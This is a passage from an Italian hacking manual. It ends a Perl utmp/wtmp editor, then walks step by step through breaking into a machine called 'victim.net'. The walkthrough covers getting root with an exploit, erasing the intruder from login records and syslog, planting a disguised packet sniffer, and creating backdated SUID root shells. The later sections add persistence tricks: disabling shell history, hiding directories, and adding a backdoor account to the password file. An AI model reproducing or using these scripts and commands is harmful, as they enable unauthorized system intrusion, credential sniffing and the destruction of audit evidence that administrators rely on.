if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne

pack("a8","")));

}

# <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user

host)};

# <Silmaril> now *that's* cool :-)

# <Silmaril> should be like this: @{$v}{qw(time id line user host)}

# <Silmaril> I had an extra -> in my first version.

#

# Or course, it's changed since then, but - "Thanks, Sil!" :)

#

 

# READ

 

sub read_func {

my($arg)=shift;

 

$arg = $utmp_location if ($arg eq "utmp");

$arg = $wtmp_location if ($arg eq "wtmp");

$arg = $active_file if (!defined($arg));

 

if ($arg !~ m!/*[uw]tmp[^/]*$!) {

print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be

edited.\n");

return undef;

}

 

readfile($arg);

}

 

# WRITE

sub write_func {

my($file)=shift;

my($count)=0;

 

$file = $active_file if (!defined($file));

if ($file !~ m!/*[uw]tmp[^/]*$!) {

print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside

this program.\n");

return undef;

}

if (!open(OUTFILE, ">$file")) {

print ("write :: Can't open $file for output.\n");

return undef;

}

binmode(OUTFILE);

 

foreach (sort( { $a <=> $b } keys(%entries))) {

printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4",

@{$entries{$_}}{qw(type pid line id time user host addr)}));

$count++;

}

print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");

close(OUTFILE);

}

 

# CHECK

sub check_func {

if (push(@_)) {

print "check :: Invalid options specified. Please see \"help\"\n";

return undef;

}

if ($active_file !~ m!/*utmp[^/]*$!) {

print "check :: Command can only be run on utmp files.\n";

return undef;

}

 

# Build struct of ports containing port name, device num and owner.

# Note: Test run in grepstr may *not* be portable for all Unix

# types. Be forewarned! This was designed for Linux.

# Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/

# should return the same as what you expect in "struct utmp->ut_id".

my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";

my(%ports) = {};

my($user, $rdev) = ();

opendir(DEVDIR, "/dev");

my(@devfiles) = readdir(DEVDIR);

@devfiles = grep(/$grepstr/, @devfiles);

close(DEVDIR);

foreach (@devfiles) {

/^$ttybase([$ttyrange][$ttyports])$/;

if (!defined($1)) {

print "check :: Warning! Could not extract port ID from $_.\n";

} else {

($user, $rdev) = (stat("/dev/$_"))[4, 6];

$user = getpwuid($user);

$ports{$1} = newport($_, $rdev, $user);

}

}

 

# Check ownership of /dev ports.

my(@logdev)=();

foreach (sort(keys(%ports))) {

push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");

}

@logdev = sort(@logdev);

 

# Check utmp (against ports detected as logged in);

my(@logutmp)=();

foreach (sort( { $a <=> $b } keys(%entries))) {

if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"})

&&

defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"}))

{

push(@logutmp, %{$entries{$_}}->{"id"})

if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&

((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||

((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&

(%{$entries{$_}}->{"id"} ne pack("a4", "")) &&

(%{$entries{$_}}->{"line"} ne pack("a12", "")) &&

(%{$entries{$_}}->{"pid"} > 0))));

}

}

@logutmp = sort(@logutmp);

# Check PIDs (find processes with active port ids)

opendir(PIDDIR, "/proc");

my(%processes) = {};

my(@portprocesses) = ();

foreach (grep(/\d+/, readdir(PIDDIR))) {

local($procdata, $cmdline);

open(PROCFILE, "</proc/$_/stat");

$procdata = <PROCFILE>;

close(PROCFILE);

if (-e "/proc/$_/stat") {

local($cmdline, $devnum, $portid);

($cmd, $devnum) = (split(/ /, $procdata))[1, 6];

# Remove surrouding () from command name.

$cmd =~ s/[\(\)]//g;

$portid = dev2id(\%ports, $devnum);

if (defined($portid)) {

push(@portprocesses, $portid)

if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));

$processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ !=

$_));

}

}

}

close(PIDDIR);

# A port is *not* logged in if there is no dev entry for port, no utmp entry

# and no active processes.

my(@validshellports) = ();

foreach (sort( { $a <=> $b} keys(%processes))) {

push(@validshellports, %{$processes{$_}}->{"port"})

if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&

!defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));

}

# Remove ports with valid shells from list of ports with active processes.

my(@noshellports) =

sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));

@validshellports = sort(@validshellports);

print "Ports with active /dev files: @logdev\n"

if (defined(@logdev));

print "Ports with utmp entries: @logutmp\n"

if (defined(@logutmp));

print "Ports with valid shells: @validshellports\n"

if (defined(@validshellports));

print "Ports with active processes and *no* shells: @noshellports\n"

if (defined(@noshellports));

}

 

 

# GENERAL

sub readfile {

local($file);

$file = shift;

my($index)=1;

my($buffer)="";

# Insure we have a clean hash table before we start reading in the file.

foreach (keys(%entries)) {

undef(%{$entries{$_}});

delete(${entries{$_}});

}

 

open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");

binmode(UTMPFILE);

# 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).

while (read(UTMPFILE, $buffer, 56)) {

$entries{$index++} = newutmp($buffer);

}

$active_file = $file;

print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");

close(UTMPFILE);

}

 

sub newutmp {

my($newbuff) = shift;

my($longaddr) = 0;

 

$newnode = bless {

"type" => undef, "pid" => undef, "line" => undef, "id" => undef,

"time" => undef, "user" => undef, "host" => undef, "addr" => undef

}, 'UTMPNODE';

 

@{$newnode}{qw(type pid line id time user host addr)}=

unpack("i L a12 a4 L a8 a16 a4", $newbuff);

 

return $newnode;

}

 

sub newport {

 

$newnode = bless {

"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,

}, 'PORTNODE';

 

@{$newnode}{qw(port rdev owner)} = @_;

 

return $newnode;

}

 

sub newproc {

 

$newnode = bless {

"cmd" => undef, "port" => undef,

}, 'PROCNODE';

 

@{$newnode}{qw(cmd port)} = @_;

 

return $newnode;

}

 

# Renumber hashes to default order.

sub resync {

my(%newhash) = ();

my($count)=0;

# Write ordered list in to temporary hash, deleting as we go.

foreach (sort( {$a <=> $b} keys(%entries))) {

$newhash{++$count} = $entries{$_};

delete($entries{$_});

}

# Copy elements back in to original hash table.

foreach (sort( {$a <=> $b} keys(%newhash))) {

$entries{$_} = $newhash{$_};

}

}

 

sub longtodot4 {

my($addr)=shift;

return join(".", map( ord($_), split(//, $addr)));

}

sub dev2id {

my($portlist, $rdev) = @_;

foreach (sort(keys(%{$portlist}))) {

return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);

}

return undef;

}

 

sub listpos {

my($arrayref, $search) = @_;

my($count) = 0;

$^W = 0;

foreach (@{$arrayref}) {

return $count if ($search eq ${$arrayref}[$count]);

$count++;

}

$^W = 1;

return undef;

}

 

### DATE ROUTINES

# The following code taken & modified from the Date::Manip package.

# Here is his copyright:

#

## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.

## This program is free software; you can redistribute it and/or modify it

## under the same terms as Perl itself.

 

sub SecsSince1970 {

# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]

my($datetime) = shift;

my($m,$d,$y,$h,$mn,$s) = ();

# If date is not defined, then return local current date and time.

return time() if (!defined($datetime));

$datetime =~

s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;

($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);

$m--;

# Finalize time components and check them.

$y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);

# This checks for any *non-matched* portion of $datetime. If there is such

# an animal, then there is illegal data specified. Also screens for undefined

# components which HAVE to be in ANY valid date/time (ie, month, day, year).

return undef if (!defined($m) || !defined($d) || !defined($y) ||

length($datetime));

# Set time components with unspecified values.

$s = 0 if (!defined($s));

$mn = 0 if (!defined($mn));

$h = 0 if (!defined($h));

# Check for ranges.

return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));

 

# Begin conversion to seconds since 1/1/70.

my($sec_now,$sec_70)=();

$sec_now=DaysSince999($m,$d,$y);

return undef if (!defined($sec_now));

$sec_now--;

$sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;

$sec_70 =30610224000;

return ($sec_now-$sec_70);

}

 

sub DaysSince999 {

my($m,$d,$y)=@_;

my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();

my($cc,$yy)=();

$y=~ /^(\d{2})(\d{2})$/;

($cc,$yy)=($1,$2);

# Number of full years since Dec 31, 0999

$Ny=$y-1000;

# Number of full 4th years (incl. 1000) since Dec 31, 0999

$N4=int(($Ny-1)/4)+1;

$N4=0 if ($y==1000);

# Number of full 100th years (incl. 1000)

$N100=$cc-9;

$N100-- if ($yy==0);

# Number of full 400th years

$N400=int(($N100+1)/4);

# Check to insure that information returns a valid day of year.

$dayofyear=dayofyear($m,$d,$y);

return undef if (!defined($dayofyear));

# Compute day of year.

$days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;

return $days;

}

 

sub dayofyear {

my($m,$d,$y)=@_;

my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);

my($daynum,$i)=();

$daysinmonth[1]=29 if (!($y % 4));

# Return error if we are given an invalid date.

return undef if ($d > $daysinmonth[$m]);

$daynum=0;

for ($i=1; $i<$m; $i++) {

$daynum += $daysinmonth[$i];

}

$daynum += $d;

 

return $daynum;

}

 

## END DATE ROUTINES.

 

# End of script.

0;

--------------------- end of utmpman.pl

 

----------------------

Capitolo VI

Eliminare i file log

----------------------

------------------------------

Sezione 6A

Un giro in un sistema hackato

------------------------------

Non finiremo mai di dirtelo! Pulisci, Pulisci!!! In questa sezione ti porteremo

in un sistema e ti mostreremo alcune basi su come cercare e come eliminare la

tua presenza dal sistema. Per iniziare loggiamoci in un sistema:

****** --> guarda chi c'e' nella macchina

[/home/master]finger @victim.net

[victim.net]

No one logged on.

****** --> Ok non c'e' nessuno, possiamo loggarci

[/home/master]telnet victim.net

Trying xxx.206.xx.140...

Connected to victim.net.

Escape character is '^]'.

Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1

Kernel 1.2.13 on a i586

 

ns.victim.net login: jnsmith

Password:

Linux 1.2.13.

You have new mail.

******---> Non leggere la sua mail, puoi vederle tutte in /var/spool/mail

e in ogni directory /home/username/mail dell'utente

******---> Controlla ancora se c'e' qualcuno

[jnsmith@ns jnsmith]$ w

5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00

User tty login@ idle JCPU PCPU what

jnsmith ttyp1 5:35am w

******---> Solo noi ok.

[jnsmith@ns jnsmith]$ cd .term

******---> bel posto dove nascondere i nostri stuff ;)

[jnsmith@ns .term]$ ./.u

******---->usiamo umounc.c exploit

******---> Adesso siamo root, usiamo z2 per diventare invisibili

bash# z2 jnsmith

Zap2!

******----> Vediamo se ci siamo ancora...

bash# w

5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01

User tty login@ idle JCPU PCPU what

******---->Hmm. adesso non c'e' nessuno nel sistema, devo essermi scollegato :)

******---->Sappiamo che siamo root ma assicuriamoci...

bash# whoami

root

bash#

******----> Yup, root... In che directory siamo?

bash# pwd

/home/jnsmith/.term

******----> Controlliamo i log

bash# cd /var/log

******----> il piu' delle volte in /var/adm, in quasto box /var/log

bash# grep dormroom *

maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from

dormroom.playhouse.com

maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from

dormroom.playhouse.com

******---->Yup, z2 si preoccupa di tutto ma questi maillog ...

bash# pico maillog

******---->in pico ho fatto un ctrl w, ho cercato dormroom quindi ctrl k per

cancellare le linee

******----> Queste sono le linee cancellate

Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com

Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

bash# grep dormroom *

******----> Yup, tutto cancellato ;)

bash# w

5:41am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00

User tty login@ idle JCPU PCPU what

******----> Yup, ho cancellato tutto anche qui ;)

******----> Adesso ti mostro come usare lled e wted se il grep avesse

mostrato qualcosa in questi file

bash# cd ~jnsmith/.term

bash# lled

bash# lled -c dormroom.playhouse

Entries stored: 527 Entries removed: 0

Adesso chmod lastlog.tmp e copialo sopra l'originale /var/log/lastlog

******----> Niente in lastlog

bash#

bash# wted -e jnsmith

Entries stored: 254 Entries removed: 0

Adesso chmod wtmp.tmp e copialo sopra l'originale /var/log/wtmp

******-----> Niente in wtmp

******-----> Facciamo un po' di sniffing

bash# pico linsniffer.c

******-----> Ho cambiato queste linee per dirgli dove voglio far andare i log:

#define TCPLOG "/tmp/.pinetemp.000"

******-----> guardiamo cosa sta girando su questa macchina per pensare ad un

nome che possa apparire simile a quelli qui sotto:

bash# ps -aux

root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd)

root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd)

root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D

root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty)

root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty)

root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty)

root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty)

root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty)

root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update)

root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush)

root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd

root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd

root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd

root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named

root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty)

root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd

******-----> compiliamolo e chiamiamolo nmb

bash# gcc linsniffer.c -o nmb

******----> carichiamolo ...

bash# nmb&

[1] 22171

******----> controlliamo il log file in /tmp

bash#

bash# cd /tmp

bash# ls -al .pin*

total 15691

-rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000

******----> c'e' ma non vogliamo che appaia la nostra login

bash# chgrp root .pin*

******----> vediamo adesso...

bash# ls -al .pin*

-rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000

bash#

******----> cosi' va meglio, creiamo una SUID shell in modo da non rifare

questo casino ancora.(controlla MD5 o altri prg nel cron)

bash# cd /bin

bash# ls -l sh

lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash

******----> questo e' un sym link

bash# ls -l bash

-rwxr-xr-x 1 root root 299296 Nov 2 1995 bash

******----> questo e' un file reale ... vediamo come chiamarlo in modo che

sembri uno di questi

bash# ls

arch df ksh ping tar

ash dmesg ln ps tcsh

bash dnsdomainname login pwd true

cat domainname ls red ttysnoops

chgrp echo mail rm umount

chmod ed mkdir rmdir uname

chown false mknod sed vi

cp findterm more setserial view

cpio gunzip mount sh vim

csh gzip mt stty zcat

date hostname mv su zsh

dd kill netstat sync

******----> Lo chiameremo findhost

bash# cp bash findhost

******----> ok, adesso andiamo a dare un'occhiata al nostro nuovo comando unix

bash# ls -l findhost

-rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost

******----> Dobbiamo cambiare il proprietario del gruppo, cambiare la data e

farlo SUID

bash# chgrp root findhost

bash# ls -l findhost

-rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost

bash# chmod +s findhost

bash# ls -l findhost

-rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost

bash# touch -t 111312331995 findhost

bash# ls -l findhost

-rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost

bash# ls -l m*

-rwxr-xr-x 1 root root 64400 Oct 31 1995 mail

-rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir

-rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod

-rwxr-xr-x 1 root root 20272 Nov 1 1995 more

-rwsr-xr-x 1 root root 26192 Nov 1 1995 mount

-rwxr-xr-x 1 root root 8381 Oct 31 1995 mt

-rwxr-xr-x 1 root root 12753 Nov 2 1995 mv

******----> Adesso sembra tuto ok e vediamo se ci fornisce l'accesso di root...

Usciamo dal sistema...

bash# exit

[jnsmith@ns .term]$ cd /bin

[jnsmith@ns /bin]$ whoami

jnsmith

[jnsmith@ns /bin]$ findhost

[jnsmith@ns /bin]# whoami

root

[jnsmith@ns /bin]# cd

******----> cd {enter} ci fa ritornare nella home

[jnsmith@ns jnsmith]# ls

mail

[jnsmith@ns jnsmith]# echo + +>test

[jnsmith@ns jnsmith]# ls -l

total 2

drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail

-rw-rw-r-- 1 root root 4 Jan 29 06:11 test

******----> Adesso abbiamo uid=0 e gid=0

[jnsmith@ns jnsmith]# rm test

******----> puliamo...

[jnsmith@ns jnsmith]# w

6:12am up 18 days, 8:58, 0 users, load average: 0.07, 0.02, 0.00

User tty login@ idle JCPU PCPU what

******----> giusto per essere sicuri che siamo ancora soli...

[jnsmith@ns jnsmith]# ls -al /tmp/.p*

total 15692

-rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000

[jnsmith@ns jnsmith]# ls -al

total 32

drwxrwx--- 5 jnsmith jnsmith 1024 Jan 29 06:11 .

drwxr-xr-x 33 root users 1024 Jan 22 16:53 ..

-rw-r----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults

lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history -> /dev/null

-rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout

-rw-r--r-- 1 root jnsmith 220 Jan 1 03:12 .bash_profile

-rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc

-rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc

drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term

drwxr-x--- 2 jnsmith jnsmith 1024 Feb 17 1996 .xfm

drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail

[jnsmith@ns jnsmith]#

******----> Assicurati di mettere questo sys link .bash_history in /dev/null

in modo tale da non lasciarti dietro history...

Ok scolleghiamoci...

Ok c'e' un altro modo!!!!

Se ricordi non devi MAI dimenticare che quando entri in un account devi

digitare : unset HISTFILE

Questo dira' al sistema di cancellare il tuo history quando ti scolleghi

dal sistema. USALO, NON DIMENTICARLO !!!!!

-------------------

Sezione 6B

messaggi e syslog

-------------------

Nella directory di log troverai un file chiamato 'messages' ed in ogni sistema

e' differente. Assicurati di controllare nel file /etc/syslog.conf eventuali

logging in macchine remote aggiunti. Se esistono vedrai una cosa del genere:

*.* @somehostname.xxx

Oppure per vedere dove vanno a finire i file di log controlla il file

/etc/syslog.conf.

Ecco un esempio...

bash# more syslog.conf

# /etc/syslog.conf

# For info about the format of this file, see "man syslog.conf" (the BSD man

# page), and /usr/doc/sysklogd/README.linux.

#

# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.

# I don't know why.

#

*.=info;*.=notice /var/adm/messages

*.=debug /var/adm/debug

*.warn /var/adm/syslog

*.warn /root/.../syslog

*.=crit;kern.none /var/adm/critical

kern.info;kern.!err /var/adm/kernel-info

mail.*;mail.!=info /root/.../mail

mail,news.=info /root/.../info

mail.*;mail.!=info /var/adm/mail

mail,news.=info /var/adm/info

*.alert root,bob

*.=info;*.=notice @quality.com

*.=debug @quality.com

*.warn @quality.com

*.=crit;kern.none @quality.com

kern.info;kern.!err @quality.com

mail.*;mail.!=info @quality.com

mail,news.=info @quality.com

Qui, alcuni dei logs sono in una directory nascosta in /root ed inoltre una

copia di ogni alert e warning sono stati spediti a quality.com.

wtmp, utmp e lastlog sono ancora in questa macchina, quindi puoi stare

tranquillo, pero' assicurati di non usare mai 'su' in un sistema come questo.

Inoltre nota che i messaggi di alert sono spediti in questo sistema a root

e bob.

Inoltre prendi nota che syslog, mail, e info sono spediti a /var/adm.

Ok, quindi devi andare in /var/adm o /var/log e:

grep yourhost * |more

grep your ip * |more

 

vedrai che alcuni files hanno registrato la tua connessone, segnateli ed

edita il file /etc/syslog.conf.

Dopo che hai editato il file fai ripartire il syslogd.

Puoi farlo facendo ps -x

$root> ps -x

39 ? S 1:29 /usr/sbin/syslogd

trova il syslogd e annota l'id del processo (in questo caso 39) quindi:

kill -HUP 39

Questo fara' ripartire il processo e rendera' effettive le vostre modifiche.

Tra le altre cose bisogna assicurarsi di fare un ls -l /etc/syslog.conf

PRIMA di editarlo e ripristinare la data come era prima quando si ha finito.

Questo e' un altro file da guardare:

/etc/login.defs

# Enable "syslog" logging of su activity - in addition to sulog file logging

# SYSLOG_SG_ENAB does the same for newgrp and sg.

#

SYSLOG_SU_ENAB yes

SYSLOG_SG_ENAB yes

#

# If defined, all su activity is logged to this file

#

SULOG_FILE /home/users/bob/.list

Nota che esiste un su log file in un file nascosto in una delle directory

dell'amministratore.

--------------

Sezione 6C

xferlog

--------------

L'xferlog puo' essere editato con il tuo text editor preferito, pico, joe,

vi ecc. Puoi quindi cercare i tuoi transfers e cancellare le linee e salvare

poi il file.

Potresti anche 'greppare' i files nella directory /usr/local/etc/httpd/log

se hai usato web o phf sul sistema, per rimuovere le tue tracce

grep (username or hostname) * |more

Se hai bisogno di trovare i logs per httpd puoi fare un find - name

httpd.conf- stampare e vedere dove sono.

Ci possono essere logs ftp differenti in alcune directory ftp o virtual ftp.

Guarda i files in /etc/ftp* per trovare quale setup di ftp e' nel box.

Ti ho mostrato come editare i log usando pico, joe o altri editor.

C'e' un altro modo... Alle volte i logs possono essere molto grandi e gli editor

non ce la fanno. Questo e' cio' che devi fare...

Hai un file messages di 20 meg ...wow!

Se vuoi eliminare le linee che hanno fudge.candy.com dal file devi fare:

grep -v fudge.candy >messages.2

rm messages

mv messages2 messages

quindi kill -HUP <process id for syslogd>

-v significa che deve greppare qualsiasi cosa che non sia fudge.candy e

metterlo in messages.2. Controlla la dimensione del file dopo il grep per

essere sicuri che non ci siano stati errori e fai ripartire syslogd

Questo puo' essere fatto per altri log come xferlog, syslog, ecc.

Questo e' un script in perl che fara' questo per te dalla linea di comando

---------------------- inizio riptext.pl

#!/usr/bin/perl

#

# RipText - Takes regular expression and filename argument from @ARGV. Any

# lines MATCHING regular expression will *not* be printed to

# STDOUT.

#

#

die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));

($regexp, $filename) = @ARGV[0,1];

# Read in contents of file.

$/ = undef;

$contents="";

if (!defined($filename)) {

# Use STDIN.

$contents = scalar <STDIN>;

} else {

# Use FILE.

open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");

$contents = scalar <FILE>;

close(FILE);

}

@contents = split(/\n/, $contents);

# Strip file of matching lines.

open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");

foreach (@contents) {

print FILE "$_\n" unless (/$regexp/i);

}

close(FILE);

0;

------------------------ fine di riptext.pl

Ricorda di far ripartire syslogd dopo aver editato i file!!!!!!

--------------

Sezione 6D

Il cron table

--------------

Assicurati di controllare i cron files di root e dell'amministratore, in questo

sistema abbiamo trovato un root cron file in: /var/spool/cron/crontabs

bash# ls -l

total 1

-rw------- 1 root root 851 Jan 26 14:14 root

bash$ more root

# This updates the database for 'locate' every day:

40 07 * * * updatedb 1> /dev/null 2> /dev/null

40 */12 * * * /sbin/checkfs

 

C'e' un file che gira in /sbin chiamato checkfs.

bash$ cd /sbin

bash$ /sbin # more checkfs

#!/bin/bash

if [ ! -f /etc/default/fs/.check ]; then

echo WARNING!! Filecheck default file cannot be found. Please regenerate.

exit

fi

md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null

md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null

md5sum /sbin/* >> /tmp/filecheck 2>/dev/null

md5sum /bin/* >> /tmp/filecheck 2>/dev/null

md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null

md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null

md5sum /lib/* >> /tmp/filecheck 2>/dev/null

md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null

diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1

if [ -s /tmp/filecheck2 ]; then

mail -s FSCheck bin < /tmp/filecheck2

fi

rm /tmp/filecheck /tmp/filecheck2 2>/dev/null

md5 e' un checksum file. Se cambi o aggiungi un file in una delle directory

sopraindicate, il cambiamento viene maillato all'amministratore!!!

 

----------------------------------------

Capitolo 7

Ottenere l'accesso alla macchina

----------------------------------------

Ci sono molti modi per ottenere l'accesso ad una macchina.All'inizio perderai

l'accesso cosi' velocemente come stai imparando, ma spero che questo

manuale ed un po' di esperienza ti facciano diventare un buon hacker.

--------------------

Sezione 7a

Trucchi e segreti

--------------------

Ci sono alcuni trucchi che ti permetteranno di ottenere accesso alla macchina.

Dopo che un amministratore ti ha beccato, egli controllera' tutto il sistema.

Egli ricompilera' i file di sistema, cambiera' le password a tutti i suoi

utenti,vietera' l'accesso da parte del tuo host alla sua macchina, controllera'

i file delle password ecc...

Quando vedi che sei stato scoperto, non provare ad entrare di nuovo in quel

sistema. Ho visto persone che nonostante fossero stati scoperti, cercavano

di utilizzare i loro exploits, le loro backdoor e account. Tu sei controllato

ed e' molto piu' facile che ti becchino.

NO! ANZI UN MOMENTO! Lascagli qualche mese, loro pensreanno che e' tutto ok

e si rilasseranno. cosi' tu potrai rientrare utilizzando una delle backdoors

che si sono dimnticati di cancellare.

Ok e' arrivato il momento di dare qualche trucco...

History Files

-------------

Metti sempre il tuo .bash_history in /dev/null, se sei sicuro che non devi

editarlo. Ricorda che .bash_history avra' sempre il tuo ultimo comando prima

del logoff. Quindi se tu lo editi, esso mostrera' che lo stavi editando.

Potresti provare a cambiare la tua shell ed editarlo li' ma e' un casino, e'

meglio settarlo a /dev/null

1. Cancella il file nella directory dell'utente .bash_history se c'e'

2. Digita il comando nella home directory: ln -s /dev/null .bash_history

Directory nidificate:

---------------------

Trova sempre una directory nel sistema per nascondere i tuoi file. Ce ne sono

alcune nelle quali gli utenti non guardano mai.

Nella home directory dell'utente cerca .term, tutto cio' che troverai in questa

directory e' un eseguibile chiamato termrc. Gli amministratori e gli utenti

raramente guardano questa directory nascosta e non ci entrano MAI.

Cosi' noi renderemo termrc un po' piu' grande, e gli aggiungeremo i permessi

suid... hai capito l'idea? Spero tu abbia indovinato... vai nella directory /bin

e digita : cp bash (o sh o la shell che c'e') ~username/.term/termrc

poi digita : chown root ~username/.term/termrc

: chgrp root ~username/.term/termrc

: chmod +s ~username/.term/termrc

Adesso hai un file nidificato che puo' darti l'accesso a root ogni volta che

vuoi e che e' difficile da individuare da parte dell'amministratore. Se poi vuoi

fare il figo cambia la data pe far sembrare il file vecchio.

Un altra directory nell'account dell'utente non usata potrebbe essere .elm,

.term o Mail, o prova a creare una directory chiamata '...', questa e' difficile

da individuare, visto che le prime dir che vengono mostrate sono '.' e '..'.

Questo e' quello che appare dopo un ls :

1024 Jan 29 21:03 .

1024 Dec 28 00:12 ..

1024 Jan 29 21:03 ...

509 Mar 02 1996 .bash_history

22 Feb 20 1996 .forward

164 May 18 1996 .kermrc

34 Jun 06 1993 .less

114 Nov 23 1993 .lessrc

1024 May 18 1996 .term

1024 May 19 1996 public_html

se per

viene digitato un ls -l, questo e' quello che si vede:

1024 May 19 1996 public_html

Ricorda che puoi sempre cercare qualche REAL LONG file path dove sei sicuro

che nessuno entra mai, ed usarlo per le directory nidificate. Puoi sempre

creare la tua directory (...) ;)

 

Creare nuovi comandi

--------------------

Dopo aver controllato il cron per vedere se si sta usando md5, puoi anche

copiare uno dei tuoi exploits in un altro filename nel sistema o solamente

sovrascrivere un comando che sai che non asara' mai usato. Se copi un file in

un altro con un altro nome assicurati di controllare la data del file.

Il tutto non e' molto duraturo perche' prima o poi la versione sara' patchata e

l'exploit non funzionera' piu'.

E' meglio usare una shell con un nuovo nome e quindi farla suid.

 

Aggiungere o cambiare la lista delle password

---------------------------------------------

Un'altra backdoor che puoi usare e' aggiungere un nuovo utente nel file delle

password. Pero' bisogna farlo con prudenza.

Non usare mai la password che hai aggiunto, non loggarti mai, e' solo per backup

in caso tu perda l'accesso.

Ci sono varie scuole di pensiero: una dice che non devi mai aggiungere un root

account che e' come dire "Guardate sto hackando il vostro sistema!!".

un modo per farlo e':

root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash

sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown

halt:*:7:0:halt:/sbin:/sbin/halt

mail:*:8:12:mail:/var/spool/mail:

news:*:9:13:news:/usr/lib/news:

uucp:*:10:14:uucp:/var/spool/uucppublic:

operator:*:11:0:operator:/root:/bin/bash

games:*:12:100:games:/usr/games:

man:*:13:15:man:/usr/man:

postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:*:65535:100:nobody:/dev/null:

ftp:*:404:1::/home/ftp:/bin/bash

Ecco le cose che si possono fare con questo passwd:

